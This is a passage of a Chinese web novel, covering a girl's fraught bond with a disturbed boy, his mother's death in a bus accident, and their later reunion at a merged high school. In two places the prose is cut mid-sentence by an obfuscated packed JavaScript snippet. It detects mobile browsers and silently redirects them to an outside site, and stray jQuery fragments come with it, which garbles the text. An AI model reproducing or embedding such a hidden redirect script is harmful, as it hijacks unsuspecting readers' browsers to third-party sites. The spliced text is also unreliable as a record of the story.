“是啊,今天朋友有好事,我得去送他。”茉莉捏着两个硬币放在桌上,“今天多来两个。” “好哦,下次可别不发声就站这了,年纪大了可经不住吓哦。”老板点点她的额头,回身从笼屉里拿包子,“拿走吧。” 月亮沉入地平线,露出最后淡白的光亮。准备好早餐,她踏着月光,打着手电快步往村外走。 远远地,她就看到那老旧路灯下那道瘦高的身影。 沈悸半挎着包,倚靠在路灯上,借着那闪烁又微弱的光刷题。兴许是太暗了,又或是遇到了难题正在博弈,他那道凌厉的眉紧皱,注意力完全集中,连茉莉靠近了都不知道。 她在边上绕了一圈,又用手晃了晃,沈悸还是没看到她,她起了坏心思,快速地拍了下沈悸的肩:“嘿!” “嗯!”沈悸也吓了一跳,手里的水笔在纸上惊乱的划了一道。他看着茉莉,“干嘛,走路也没个声。” “我就差把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232558|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手电筒打你眼睛上了,是你太认真了。”茉莉把手里的包子给他,“吃了吗,没吃赶紧填肚子,别等会竞赛上肚子饿影响发挥。” 她又把围巾拿出来,一圈圈系在沈悸的脖子上。 她不太会系围巾,围巾系的像个红领巾一样。 “啊……好丑。”她吐了个舌头,干干地笑。 包子还冒着热气,接在手心中暖暖的。沈悸的脸上挂了一丝笑意,轻轻叹气,重新系了围巾:“这才五点刚出头,非要这么早来干嘛。” “盯着你吃早饭。因为你从来不吃早饭。”茉莉踮脚,看着他手里的题册,密密麻麻地,写满了她看不懂的数式,她皱了眉,“这么难?” “竞赛面向的人多,做点准备是好的。”沈悸咬着包子,手里依旧不停,解算刚才未完的题。 眼见他那么认真,茉莉也知趣地没再打扰,背着书包靠在路灯的另一边,捧着课本熟读。 闪烁的路灯暗下,东边的太阳也慢慢从结霜的冻土上升起。时间很快到了六点,沈悸看了眼腕表,合上了题册说:“大巴快到了。” 竞赛有专门的大巴接送,六点十分左右到小泽乡。 茉莉也合上书,踩着脚下结霜的野草,静静陪他等待大巴。 五分左右,她看见了一辆红顶的大巴从远处冒了一个点,正朝这边驶来。 就在这时,一阵嘈杂的声音从左后方传来。 夹杂其中的,除了一些不能入耳的粗语,还有声声尖锐清脆的高跟鞋踢踏声。那声音硬生生控住了沈悸的体感,潜意识中的恐惧燃油而升。 沈悸的脸色骤变,他转过头,染着黄发的女人踏着高跟,领着几个男人朝这边快步走来。 女人模样气愤,手里还拿着没喝完的啤酒瓶,与沈悸对上眼后,她扯着刮搔耳膜的声音叫着:“沈悸!!你个杂种,你想去哪!!老娘的钱呢!” 茉莉被这一声震在了原地,她还没回头看看是什么情况,沈悸就一把将她推开:“快走!” 话音被酒瓶碎裂声割断。 只听“砰”的一声,酒瓶子在沈悸的右耳边碎裂。 沈悸捂住右耳,鲜血从侧耳滑落,他痛苦地蹲下身子,世界缄默下来,只剩下耳边嗡嗡的长声。 “沈悸!”茉莉惊恐地尖叫一声,冲过去想要扶起沈悸。 然而,江复春却一把扯开茉莉,恶狠狠地说:“滚开,别多管闲事!” “啊!”茉莉失去平衡,从边缘摔进田野中。 江复春冲到沈悸边上,血红的指甲掐进沈悸的后颈,毫不留情地拽起他,被廉价化妆品晕黑的双眼布满血丝,面目狰狞地怒骂:“小兔崽子,你娘叫你每周拿钱,钱呢,还敢把家门锁起来,你想死吗?!” 沈悸没缓过神,双重的疼痛也无法将麻木的大脑疼醒。他无力地垂着手,双眸不能聚焦,耳朵也听不清楚。 “没钱。”他翘着唇角,笑的轻蔑,“你不是最擅长卖了,为什么要找我。” 啪。 又是一巴掌,沈悸的脸被狠狠打向一侧。 江复春放开了他,朝边上为首的男人问了句:“虎哥,这小子能抵多少?” 那个叫虎哥的男人插兜看戏,漫不经心回:“你说他是沈随天的儿子,给你多算点。” 江复春赔笑说:“哈哈,虎哥爽快。” 名叫虎哥的男人勾了勾手,边上的两个男人接收到命令,活动着关节逼近躺在地上的沈悸。 沈悸浑身绵软,耳朵还在噪鸣,只能不断后退,直到背后抵上树木,退无可退。 其中一个男人拽住沈悸衣领时,谁都没注意到滚下田里的茉莉爬了上来,疯狂扑向那个男人的腿。 她紧紧抱住那个男人的腿,大喊着:“快跑!沈悸,快跑啊!” 那男人用力踹了一脚,茉莉吃痛,可手怎么也不放松,嘴里不停重复“快跑”。 沈悸恍神,反应过来后,他随手操/起身边的一根枝干扔了出去,趁那男人不注意,他拉起茉莉就往马路对面跑。 “沈悸,你给我站住!”江复春在后面追着,一边追一边喊。 此时,城乡巴士正拐过晨雾弥漫的弯道。他们转身狂奔的瞬间,身后传来轮胎摩擦地面的尖锐嘶鸣?。 茉莉听到身后传来一声巨响。 她下意识地回头,那辆本通往希望的大巴打着双闪,戛然在转角。 而光亮的前方,女人的金色长发散在血泊里,像团融化的铜丝。眼睛大大的睁着,诡异又扭曲。 江复春死了,就这样死在了自己的面前。 她控制住自己即将失控大叫的情绪,转头看向沈悸。 沈悸怔怔地站在身边,脸上没有一丝表情,手还维持着拉她衣袖的动作。 周围的人纷纷围了过来,有人在尖叫,有人在打电话报警,但沈悸却仿佛什么都听不到,什么都看不到,只有手在不断收紧,关节泛白。 良久,他松开了手,慢慢地走到路上。 周围的人认出他是女人的孩子,默契地让开道路。 他低着头,长长的黑发遮住了双眼,右耳蜿蜒而下的血线浸湿衣领,双肩不自然地抖动。 路人以为他在低泣,惋惜地哀叹。 茉莉站在三步之距,清楚的明白,他不在哭。 他在笑。 她挤进人群,走到沈悸身边,颤着手扯住少年的衣角,晃了晃。 下一刻,对方摇摇晃晃地跌在了她的身上。 他靠在茉莉的肩上,嘴角上扬,却很僵硬,甚是不自然。 只有茉莉看到,那笑容里,是解脱,是释然。 “茉莉。”他喊她的名字,“我们自由了。所有妨碍的垃圾都消失了。” “何婧也是,江复春也是。伤害过我们的人都消失了。” “她们都很蠢,安心也是。没说两句,她就真的出乎意料的去做那些事情。” “现在,我只有你了。” “你可以教我什么是爱了吗?” 茉莉感到一阵恶寒。 那本来的同情消失的荡然无存。 她开始后悔自己那片刻的同情。 一个没有心的人,怎么可能会被感化。 她开始猜测,眼前的这一切可能都是他设好的局,而她,至始至终都还被他伪装的面具欺骗。 他再次试图把自己的扭曲的三观灌输给她。 那个恶劣的沈悸,从未消失。 19. 着迷 那天的竞赛到底还是没赶上,救护车和警车很快赶到了现场。沈悸被送上了救护车,茉莉则跟着警察去做笔录。 她把实际情况原模原样的阐述,说完,她还补充道:“跟司机没有关系,是江复春自己闯出去的。” “具体情况我们会调查的,放心,如果真是死者自行冲出并卡在盲区导致意外,在司机正常行驶的情况下,我们不会追究责任。不过,还得看死者家属的意愿。” 做完笔录,茉莉挣扎之下,还是决定去看望一下沈悸。 她打算跟沈悸彻底断绝关系,从此作为陌路,两不相干。 沈悸的右耳被诊断为永久性失聪。但他却好像并不在意,只是静静地望着窗外,眼神空洞而又平静。 他坐在病床上,头上绑着纱布。因为长期营养不良,他的身形在宽大的病号服下显得瘦弱,单薄如纸。 茉莉轻轻坐下,小声喊他:“沈悸。” 他没有动静,茉莉又喊了一遍,他依旧没转头,只是问了一句:“笔录做完了?” “嗯。接下来是调查,然后,得看你的意愿。” “我不会追究责任。” 她猜到了。 但她不知道,这次的意外,到底是场劫难,还是恩赐。 她忍不住开口问道:“我想问你……安心她……” “茉莉。”沈悸看着她,深不见底的眸色吞噬掉所有的光亮。他依旧带着温和的笑,却说着最冰冷的话,“如果说,我只是帮她设局,一切都是她选择去做的,你会信我吗?” 茉莉不敢和他对视,不安的心七上八下。 “你说过要我拦住你,可这样的脏事,还是由脏掉的人去做比较好。”他像一只吐着蛇信子的蛇,残忍的勾惑人心,“一切都是他们的错,你不要放在心上。” “那……今天呢?” “茉莉。”他没有回答,而是说了一句莫名的话,“如果有一天我手染鲜血,别怪我。” “我活在地狱,而你,要干干净净的挂在天上。” 他着迷似的看她。 “挂在,只属于我的天空里。” 她如被雷击,怔怔地坐着。 她似乎疯了。好像被感染一般,疯掉了。 有种莫名的快意。 那种,拿捏人心的快意。 心脏不知道什么时候被腐朽了,也许是一同被脏水浸泡的时候。 她不敢相信那是自己。 可她真的坏掉了,从内到外。 之后,他们没说太多的话,到了傍晚,茉双季收到通知来医院接茉莉回家。 临走前,她没再看沈悸。 后来,她没去过医院探望,茉双季去了,被告知沈悸被一个男人接走,而那栋老房子也被贴了封条,上面画着鲜红的“拆”字。 沈悸走了,被丢弃他十六年的父亲接走,没再回来。 班主任通知沈悸退学的事情时,茉莉突然感到了一阵轻松。 影响她的存在不在了,她不必再多些莫须有的负罪,也可以彻底跟他断开关系。 而江复春意外死亡的案件,因为沈悸不追究责任,加之死者责任占主体,司机没有任何违规操作,最后无罪释放。 后来的日子,她总会收到一些没有署名的信件。 虽然不知署名,她却能猜出寄信人是谁。那些信她一封都没有拆,全都扔进了垃圾桶。 或许这样才可以欺骗自己的内心,能让自己恢复原状。 她的生活没有沈悸的干预,逐渐走向正轨,她照旧跟于辉和宋长乐两个为伴,度过了平淡的高一。 高二时,学校重新根据文理科分班,茉莉和于辉最终选择了文科,宋长乐选择理科,但分班十分残酷,三个人都被划分到了不同的班级,即使万般不舍,茉莉也只能接受。 高二开始后,课业压力直线上升,茉莉忙的不可开交,连结交新朋友的时间都没有,每天睁眼就是学,闭眼就是睡,虽然忙碌,但也算得上充实。 她的成绩从班上的吊车尾一路到了上游,有时超常发挥还能比过宋长乐,这让曾同为吊车尾的于辉很是难受。 但金子总会发光,于辉因为体育成绩拔尖,在一次比赛中荣获桂冠,被特保到安城市的体校做了体育生,学校意欲将他培养为国家级运动员。 收到消息的茉莉很是为他感到骄傲。临行前,宋长乐和茉莉都去了车站送别。于辉两眼泪花,依依不舍地做了告别,而后独自上了大巴前往安城,前往属于他的光辉未来。 茉莉和宋长乐回到学校,各自奋发,表示一定要超过于辉闯出自己的一番天地。 因为学业繁重,她那厚重的刘海也没空打理,长了之后分到两边,成了中分。 从那之后,班里人看自己的眼神突然间变了,连带着桌洞也多了些粉红心事,不过都被她以相同形式退还了回去。 高二的最后一月时,学校突然宣布要和安城里的一所高中并校,并开放转校,有意愿的可以填写表格申请。 新校区位于安城和洑水县接壤的地方,名字成了安城联合中学附属一中,听说因为洑水县要并进安城,而学校本来就是洑水县几所高中联合冠名的,这下再次并校也不奇怪。 但学校目前只开放了高三的转移,理由是因为高三即将高考,可以优先享受城里的优秀师资,并提供宿舍,学生可自主选择走读或住宿。 于是茉莉和父亲商量了一番,决定转校至新校区里读书。 新校区环境一定比村里的要好,况且住宿之后,茉双季也可以少担忧些自己的衣食住行,属于是一箭双雕的美事。 八月的最后一天,茉莉背着大包小包来到了位于安城边缘的一中。 虽然还未彻底进到安城,但已经可以看到安城不同于小县城的繁华,高楼大厦鳞次栉比,陌生的不像样子。 她先用手机给父亲编辑了消息报备,提着包袱进了学校。学校的人似乎热情的过了头,走两步都有陌生的男生问要不要帮忙送东西。 她不善交际,全都以力气足够的理由回绝。不过一中比原高中更大,她走了十多分钟才将将来到宿舍。 宿舍是四人间,推开门时,其他三位室友已经到位。 三位之中,茉莉看到了一个惊喜的面孔:“宋长乐!” “茉莉!”宋长乐也惊喜地叫出声,扑过去给了她个熊抱,“哎呦,真好啊小美妞,没想到分班之后我们还能在一处。” 其他两个是一中本校的,她俩显然已经和宋长乐熟悉,其中一个自来卷的女生唷了一声:“这不会就是你刚说的那个小美女吧?” 另个女生带着眼睛,模样文静:“嗯,看起来是。” “是啊,介绍下,这是茉莉。卷发的女孩是李青青,戴眼镜的是刘曦。来看看,是不是很漂亮。”宋长乐把她推到面前,比了个v。 “什么啊……哪里好看了,丑的很。”突然被两个人注视,茉莉紧张的小脸通红,连说话都变得结巴。 “屁勒,你把那破刘海弄上去之后收到多少情书记不得?就我班上都有一半男生下课去偷看你,还以为新转来了同学呢。” 她很漂亮。皮肤白皙中还透着淡淡粉色,脸很小,巴掌大的脸上,一双水眸楚楚动人,似有泪光闪动,无端生出一种弱柳扶风的意味。 可她从未意识到自己长得好看,匆匆低下红彤彤的脸开始铺床。 边铺着,李青青和刘曦开始找她搭话,家里是小卖部的宋长乐又掏出了一堆零食,大家迅速打成了一片,开始聊着女生的话题。 茉莉紧张的心松懈下来,坐在床铺上跟大家谈论着明天开学典礼的事情。 为了迎接新生和转校的同学,一中特地举办了一场迎新典礼,而李青青和刘曦作为本校的学生,也参与其中,说是朗诵队的一员。 开学第一天,李青青和刘曦很早就起来去礼堂准备了,茉莉拉着赖床的宋长乐耽搁了一会,摸着李青青留下的字条去了食堂。 食堂比原校大了两倍,里面坐满了学生。茉莉找了很久才找到两个空余的位置,宋长乐还迷糊着,眼睛都睁不开,茉莉只好让她看着座,自己端着盘子去打饭。 队伍有些长,好不容易轮到她时, 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她端着餐盘走回座位,余光瞥到那两个男生在一个拐角坐下,那拐角,还坐着第三个人。 整个食堂都很挤,一张桌子基本都坐满了人,可那张桌子就只坐三人,很显然,是学校里没人敢招惹的刺头。 那人是背对着坐在那的,只有他板正的穿着校服坐在那,怎么看都跟那两个刺头不搭边。 难道是什么富家少爷吗?茉莉庆幸了下,还好刚才没生气,不然自己的高三生活一定很难过。 她转过头,径直回到位置上。正好没看到那拐角投来的视线。 胡振扬着下巴,贱兮兮地笑:“就那个,可漂亮了。这次并校转来好几个校区的学生,我还以为乡里都是土妞呢。贺哲你刚也看到了吧,简直了,比那高二的校花还好看。” 贺哲吸着豆浆,随口应了声:“嗯,是好看。” 胡振还在瞧,不死心地喊了声面前那个一直听着英语磁带看着书的少年:“哥,看眼呗,你不是在找人吗,食堂好多新生,你真不看眼吗?” 少年头也没抬一下:“有刘海吗?” “没。” “那看什么,尊重一下别的女孩子。” 胡振闭了嘴,不再自讨没趣。 贺哲抬抬下巴:“沈哥,吃完得去礼堂了。” 过了一会,磁带见了底,少年摘下耳机抬起头,一张清俊的脸从阴影中浮现。 他的鼻间带着金边眼镜,显得斯文谦逊,可被耳机撩乱的碎发下,一道伤痕狰狞却突兀的爬在额间。 沈悸咬着包子,把课本拿起,皱眉:“演讲稿没拿。” 贺哲抬眼,看到了一个纤细的身影:“喏,有人来送货了。” 是林楚儿,她一进食堂,许多人回头注目,她脸红红的,还小口小口喘着气,一看就是着急忙慌赶来的。 胡振瞧了眼,啧啧道:“果然人帅就是好,校花倒贴来送东西。” “沈悸。”林楚儿小跑到桌边,伸手把稿子递了过去,“你的稿子,我看丢在教室,赶紧就送来了。” 沈悸展露着标准的微笑,淡淡道:“谢谢。” 林楚儿的脸更红,她小声道:“那个,等会迎新要开始了,要不要先去礼堂再彩排一遍,大家都在那边。” 沈悸微不可察地皱了皱眉,但还是笑着回:“好,你吃了吗,要不要带点一起去?” 林楚儿抿着嘴,摆摆手:“吃过了,我们走吧?” 沈悸点了头,把磁带和课本丢给了贺哲:“帮我带回去。” 贺哲比了个受到的手势,目送两人离开。 “哎呀……”胡振啧啧舌,拿过贺哲喝了一半的豆浆就喝,“是看多了吗,感觉真没那姑娘好看了。” 贺哲一巴掌呼在他脑门上:“你丫要喝自己买去,恶心死了。” “疼疼疼……下手轻点……”胡振护着脑袋鬼叫着,他无心瞥了眼茉莉的方向,“那姑娘走了,不知道还能不能看见哦。” “看见了也看不上你。”贺哲收起沈悸的东西,“走了,去礼堂。” 20. 重逢 早餐结束,宋长乐还是一副萎靡不振的模样。 她摆了摆手,做了个投降的姿势:“我不行,我要多睡会,迎新典礼你去吧,我回宿舍躺平了。” “这,你不去吗?影响不太好吧。” “无所谓,反正不是正式上课,不行问起来你就说我水土不服发烧了,好不容易还有最后天懒觉……我走了哈。”宋长乐打着哈哈,话都说不清楚了。 茉莉劝不动,下午也确实没课,索性随她去,自己独自去了礼堂。 礼堂不远,刚进门,茉莉便看到拿着诵读稿子着急侯在门口的李青青。 “李青青?你怎么在这?” 李青青急的焦头烂额,不停地抓挠头发,本就自来卷的头发更卷了:“别提了,班里领读的女生突然闹肚子,这一走十几分钟了,还没出来。” “这……没有候补吗?” “哪有什么候补,整个班的人全上了。况且每个人的环节都是单独的,现在根本没空再排。”李青青叹了口气,烦闷的要命,偏偏此时负责的老师还来询问状况,她更加闹心。 茉莉也替她焦急起来:“那……怎么办,有我可以帮的忙吗?我去卫生间问问情况?” 一听她那么说,李青青的眼睛猛然发光,两手逮住茉莉的肩膀不停摇晃:“你可以帮忙吗!” 茉莉被摇的发昏,以为她是在说去卫生间问情况的事,于是含糊地应了。 结果李青青用力地抱紧了她,又迅速撤开,然后把一沓稿子塞进她的手里,声音严肃诚恳:“交给你了。” 啊? 茉莉一脸蒙圈地看着手里的稿子,意识到自己应下了什么艰巨的任务,她连忙把稿子退回去:“不不不,我不行的,我上台结巴,会紧张的,一定会出错的!” “不紧张不紧张,这一段是在开头,你要是害怕我可以让后台把帘幕先拉着,等你念完了再升起来。” 茉莉听了觉得不对:“那你不是有法子吗,谁不都可以念。” “不行啊,站位啊,领读的位置怎么能空着,而且最后一句还得领读只有你的稿子上有,必须有人念。” “不行,我干不了。”茉莉一口回绝,当年运动会时她都没胆上混到队伍里朗诵,现在还是个领读的位置,她无论如何都胜任不了。 “你的那段只有你有,其他稿子上都没有的,那最后一句收尾真的很重要,收尾后,台上会出现班里三十位学生一起做的拼贴画,这是大家的心血,大家都很重视。”李青青还在劝说茉莉,说到最后,她红了眼睛,“拜托了,就当做我的私心吧。” 看见李青青红了的眼睛,茉莉还是心软了。 她无奈地叹了口气,拿过稿子,答应了下来:“好吧,就这一次。” 李青青睁大了眼睛:“真的?” “真的。” 李青青绽开了笑颜,擦擦眼睛:“谢谢你,茉莉。” 其实,这活茉莉不接也得接。 要是她真的毫无情面的拒绝,她一定会背上不懂脸色的头衔,在新班级寸步难行。虽然高中最后一年也不必跟谁弄好关系,之后都会人走茶凉,但高一被排挤的经历告诉她,即使是装也得装个样子出来。 她简单地扫了眼稿子,还好,不难,每个地方都准确标明了卡点,跟着标识念就好。 跟着李青青进了后台准备,她这才见到班里其余的三十号人。这次被分配到的班级是二班,仅次于一班火箭班的重点班。 后台有些暗,看不清他们的面容,粗略看了看,同学的模样明显不同于自己曾经待的班级,各个戴着眼镜,看起来更加文静内敛。 简单打了声照面,她便站到队伍最前端,眼睛片刻不离纸面。 后台与舞台衔接处有一个帘幕,她不太能看清舞台中心,但李青青告诉过她,在她该站的位置有一个红色的标点。 给自己鼓了气后,礼堂的灯光黯淡了下来,似乎是开始了。 场下坐满了新生,震耳欲聋的掌声随之响起。茉莉的身侧,两个人影从深处走出,阔步走向舞台。 她没抬头,一直熟悉稿子,生怕自己出错。 “大家好,我是主持人林楚儿,来自高三一班,欢迎各位新生来到洑水一中,希望在未来的日子里,大家都能奋发向上,金榜题名!”女生悦耳动听的声音响起,略带空灵的回响,如夏日沁凉的柠檬水,惹得茉莉不自觉地抬头。 耳边是同学激动的谈论声:“哇,是林楚儿,不愧是校花,真漂亮。” “还有他诶,一班班长,安城巨富家的少爷,他两真是郎才女貌。” “他两家说是要联姻的,好像一毕业就要结婚。” 茉莉听得莫名,总觉同学说的话像话本里的故事。她特地伸长了脖子去看,奈何幕布遮的厉害,她再怎么看也只能看到林楚儿的半张脸,还有她身边那个高大的男生。 那男生只堪堪能看清个后脑勺,偏偏越看越熟悉,怎么都觉得在哪见过。 不过,不可能吧,她怎么可能认识什么巨富的少爷。 她这么想着,视线又回到纸上。 “大家好——我叫沈悸。” 她猛地抬头,几乎觉得是自己听错了。 捏着纸片的手指兀地收紧,许久未提及的名字突然被提及,茉莉心中一颤,少年的面孔瞬间浮现在脑海。 是同名吗? 可声音却和记忆的声线合二为一。 不可能吧,怎么会呢…… 她甩甩头,妄图把沈悸的模样从脑子里甩出去。 两年的平稳生活让她变得自私,还有一年高考,她只想平稳度过,带着父亲离开小村,到城市里生活。 沈悸是那个最动摇她的隐患。 她越发害怕再出什么意外,害怕牵扯到自己的未来,曾经的一切都会付诸东水。 她不是沈悸,她没有退路,而她跟沈悸,永远不是一个世界的人,无法共情,无法沟通。 台上的少年继续说:“同为高三一班的学生,在这个不一般的日子里,我们齐聚一堂,新的学期,望老师工作顺利,望同学们学习进步,梦想成真。” 她一句也听不进去,手不自觉的抖,越抖越厉害,大脑一片空白,只想着逃离,快点逃离。 别来了,别再来纠缠她。 她还没找到理由逃跑,林楚儿便接着话说出了节目:“接下来由高三二班带来朗诵,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256592|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家掌声欢迎!” 没机会找理由了,她站至明暗交接处始终觉得双脚沉重,直到李青青催促她上台,她才咬着牙闷头抬步。 她低着头找到红点,低着头看稿,刻意压住嗓音诵读,期望沈悸不要听出是她, 她紧着嗓,声音矫揉造作,连李青青都纳闷地看了她一眼,不过因为没影响到进程,她以为是茉莉太过紧张,便在边上拉了拉她的衣角:“别紧张,快结束了。” 怎么能不紧张。茉莉在心里暗自腹诽,手里的稿子越拿越高,直到遮住半张脸才停下来。 余光内,少年站在侧面,还在看手里的稿子,似乎伪装成功,他并没有听出是她。 轮到最后一个同学时,他却突然念错了行数,把念过的一段又重复了一遍。 侧方的少年抬了抬头。 眼见不对,茉莉紧跟着也重复了一遍,假意是二重诵读,李青青也意识到差错,立马抬手让所有人跟着一起重复。 最后一段结束,茉莉念出结尾,身后一直遮挡的帷帘拉下,一个大大的鸽子拼贴画出现,每一张碎片都写满了寄语,令下方的观众们赞不绝口。 诵读终了,茉莉立马跟着同学们一起鞠躬谢幕,混在队伍里下了场,错身经过沈悸时,他依旧没有发现她。 茉莉松了口气,好了,下场了。 “茉莉,你刚刚的救场太帅了!”她刚松懈下来,李青青就冲上来揽住她的肩,大声念出了她的名字,“我还觉得你紧张,以为要完了!” 本走过去两步的少年骤然顿了步,回眸看向了她—— 听不见远去的脚步声,茉莉浑身僵硬,硬扯出一个笑容,想快点推着李青青离开这里。 即使不回头,她也感受到了那道凌冽的视线,极其犀利的刺在她的后脊梁。 她要走,身后的人却语调轻俏地喊出了她的名字:“茉莉?” 语调上扬,意味深长。 李青青奇怪地看了看沈悸,又看了看远去的茉莉,问了句:“你们认识?” “……”沈悸看着她僵直的背影,轻笑着摇摇头,“只觉得名字很特殊。” 她手心冷汗津津,推开李青青借口说:“我……我去下卫生间。”说完,她头也不回地跑了出去。 “诶!茉莉?” 她假装没听见,一股脑冲出礼堂,跑到一个无人的走廊上才敢歇下步子。 她大口大口喘息,整个后背紧紧贴在墙壁上。 沈悸。真的是他。 那个曾让她以为崩坏的人。 她感到一阵恐惧。 好不容易才回归正轨,好不容易才告诉自己那是错觉…… 她忿忿地捶墙,直到手都捶得通红才停下。 算了,应该没事的。 她听说过,火箭班跟平常的班不一样,全都被单独分在一层,高三课业繁忙,课间都挤不出一分钟出去上厕所,更别提还隔了一层楼,基本上是不会撞见的。 她向来乐观,自我疗愈的时间很快,没一会就整理好情绪,理理头发准备回宿舍休憩。 但她没注意到,高处,有人定定地站着。 而手里,写着她名字的档案随风而动。 21. 担心 回寝室时,宋长乐已经醒了,翘着穿着短袜的脚在床上看课外书。看见茉莉,她问了声:“结束了?” “嗯……”茉莉脱力躺在床上,脸埋进枕头里感受柔软,想让自己放松一些。 宋长乐见她这副模样,书卡在床上,趴在栏杆上看她:“怎么了,看起来死了半截一样,典礼没意思?” 她默了默,还是决定把今天的遭遇全部说出来。 听到被强行拉去凑数时宋长乐还没什么反应,直到听到沈悸也在这个学校,还摇身一变从臭巷的混混变成少爷,她一愣一愣的,眼睛都瞪大了:“真假的,沈悸还真是沈家的少爷?我听说把学校并进一中的就是那个沈家,沈家可是安城首富,之前推动洑水县旅游发展的也是他们家诶。” 曾经在小泽村时,就有传言说沈悸是沈家的私生子,但因为其母的品行不佳,没人放在心上,还说是那女人的臆想。而如今,这一切竟真成了真。 不是凑巧同姓,真是沈家的孩子。 她后来去找了本校的学生打听,沈悸是高一下学期时转来的,转来时就头顶沈家少爷的头衔。 一中原本是私立学校,学校里有钱的人很多,并校后才开始有些家庭普通的学生进入,上次在食堂遇见的胡振和张扬就是其中之一,还有那林楚儿也是,全都家底优渥,咬着金汤匙出生。 沈悸初来乍到时看着倒是清秀文雅,但额上的疤又让人不禁生畏。胡振张扬在学校猖狂惯了,看到新来的抢风头,便直接去他班上堵人。 谁料,看似瘦弱的沈悸只是摘下了眼镜,三两下就把两人摁在了桌上。 自那之后,没人再敢在沈悸面前嚼舌根,都知道他人猛又狠。本来大家对于这样的人应该敬而远之,谁料他平时性格温良,成绩还名列前茅,一来二去,外人对他的偏见就淡下去了,取而代之的是艳羡和向往。 茉莉感到不寒而栗。 实在是跟高一刚认识沈悸时的印象完全缝合,他依旧金玉其外,败絮其中。 开学典礼上的凑数到底还是成了影响,班主任知道她救场的事情后,在班上大肆表扬她,班上的同学也对她印象极佳,课间总有许多小姐妹来找她一起上厕所。 开学没两天,班主任就宣布了一件事情。 首都艺术大学正在面对全国学生进行招生选拔,虽然他们班级没有艺体生,但她依旧争取了一个名额下来,希望有意愿的同学们前去报名。 茉莉本来还在犹豫,但李青青和宋长乐一直怂恿她去报名,斟酌之下,她选择了尝试。 后来几天,茉莉突然觉得班门口多了些奇怪的人,总对着自己窃笑。 她以为是自己衣服没穿好,找人看了一圈,啥也没有。纳闷着回了宿舍,宋长乐拿着手机刷论坛,突然大叫一声,把手机怼到她面前:“茉莉!你成新校花备选了!” 茉莉人都傻了,一看过去,自己登上学校论坛帖子,还成了头条。尽管那天不是低着头就是藏着脸,却还是有人抓拍到了一张照片,照片模糊不清,拍的是自己的侧脸,虽然糊,但也能看到个大概。 下边全是看热闹不嫌事大的人,一眼过去,竟全是夸她好看的跟帖。 茉莉脸皮薄,看着看着,脸红的像只鲜嫩欲滴的红苹果。 她从来没意识到自己好看,还觉得是那张照片糊所以看起来不错。 直到有人把林楚儿和她入学的证件照po在下面,茉莉这才有些发愣。 “我就说我眼光没错,你自己看嘛!”宋长乐把她推到镜子前,捏着她的下巴左右晃,“很漂亮,你要正视你的亮点。” 她从未仔细去端详过自己,从来都觉得自己灰扑扑的,没什么亮点。 直到认识宋长乐,她总是不吝啬夸赞,愿意给予没有自信的自己一份勇气。 透过镜子,她与宋长乐对上视线,她笑着感谢:“谢谢你,长乐。” 宋长乐愣了愣,回以笑脸:“我们是朋友嘛。” 次日,茉莉照常起早,其余两个室友已经洗漱完毕去食堂了。宋长乐还在赖床,喊了五分钟都没喊醒,无奈,她只能先去食堂,打算带早餐到班里给宋长乐。 早上的食堂依旧人满为患,她特地瞥了眼沈悸常待的角落,没人,他们还没来,她松了口气,想着快点打完早饭离开,避免撞上他们。 但是上了论坛的事情还是让她成了视线焦点,刚进食堂就有不少人偷摸对她指指点点,她不太习惯这样的感觉,不舒服地耸耸肩,打完宋长乐爱喝的南瓜粥后,又排进了包子酱香饼的队伍。 排了一会,茉莉觉得不对。 这队伍一直没动过,好像是被人特意卡住了。探头看了下,还真有个人在那站着不动。 这食堂多半都是自助形式,食堂阿姨都在后面补充早餐,没空管辖队伍,食堂又分成学生食堂和教师食堂,没有大人,她也不好说什么。 队伍后来了个男生,一看见茉莉就笑的不怀好意。 他走到最前,戳了戳那个卡队伍的人。两人不知道说些什么,他又走回来搭话说:“你好,我兄弟在前面,你要打什么,我叫他给你一起打了?” 茉莉懒得理,回绝掉对方的好意,可对方依旧不依不饶,还侧身把自己的位置空出来,要茉莉站他前面。 茉莉咬着下唇,努力不让自己吐出难听的话语,对方的举动引得旁人纷纷侧目,后方一个男生看不下去,说了句:“人家都说了不愿意非要纠缠干嘛?” “干你什么事,英雄救美?”那男生明显也是个火气大的,一下子毛了,声线高了几度。 后边的那个男生不说话了,那男生越发嚣张,手越界地放在茉莉肩上,脸上挂着淫猥的笑:“来来来,站这。” 肩上的手越发肆无忌惮,竟还开始摩擦她的肩带。 忍无可忍了。她的耐心和温顺只留给人类,而不是牲畜。 她抄起盘里的南瓜粥打算泼过去,才刚拿起,她便听到一阵快速接近的脚步声,随后,手里一空,南瓜粥被人夺过,并高高举起—— 铁碗被一只修长白皙的手高高举起,金黄的米粥从那人的头顶倾泻而下,糊了一整脸和衣服。 所有人都惊愕地睁大了眼睛,茉莉震惊地看着,顺着那只骨节分明的手往下看,沈悸沉着脸,剑眉低压,额间青筋微动,周身散发着强大的威压。 那男生烫的嗷嗷直叫,用袖子抹了把脸,怒骂道:“谁他妈泼老子,知道我谁……”他那三角眼一动,看见来人,顿时吓得清醒过来,“沈哥……” “谁教你欺负人的?”沈悸居高临下地看着他,鸦黑的睫毛下蕴着寒意。他把碗丢回茉莉的铁盘里,而后拿过铁盘递给那人,语气冷淡:“去给人家重新打。” “是是是……” 